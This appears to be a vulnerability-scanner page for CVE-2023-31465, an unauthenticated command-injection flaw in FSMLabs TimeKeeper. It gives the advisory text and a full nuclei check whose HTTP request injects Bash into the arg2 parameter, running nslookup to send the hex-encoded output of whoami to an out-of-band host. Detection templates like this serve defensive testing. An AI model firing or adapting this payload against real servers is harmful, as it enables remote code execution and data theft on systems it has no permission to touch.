TimeKeeper by FSMLabs - Remote Code Execution

criticalseverity

9.8CVSS score

46.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.

Impact

Unauthenticated attackers can inject Bash commands through the arg[2] parameter in getsamplebacklog endpoint to execute arbitrary commands on the server, potentially compromising the entire TimeKeeper time synchronization infrastructure.

Fix

Update FSMLabs TimeKeeper to a version newer than 8.0.28 that properly sanitizes input parameters in getsamplebacklog and prevents command injection attacks.

How to confirm it

Send: GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-p…
Positive when: contains in interactsh_protocol "dns" AND contains "{\"seriesID\":"

Run it with nuclei: nuclei -id CVE-2023-31465 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-31465

info:
  name: TimeKeeper by FSMLabs - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
  impact: |
    Unauthenticated attackers can inject Bash commands through the arg[2] parameter in getsamplebacklog endpoint to execute arbitrary commands on the server, potentially compromising the entire TimeKeeper time synchronization infrastructure.
  remediation: |
    Update FSMLabs TimeKeeper to a version newer than 8.0.28 that properly sanitizes input parameters in getsamplebacklog and prevents command injection attacks.
  reference:
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31465
    - https://fsmlabs.com/fsmlabs-cybersecurity/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31465
    epss-score: 0.46304
    epss-percentile: 0.98826
    cpe: cpe:2.3:a:fsmlabs:timekeeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fsmlabs
    product: timekeeper
    shodan-query: http.favicon.hash:2134367771
    fofa-query: icon_hash=2134367771
  tags: cve,cve2023,timekeeper,rce,oast,fsmlabs,vkev,vuln

http:
  - raw:
      - |
        GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '{"seriesID":'

References

Use this check only on systems you are authorised to test. Where the data comes from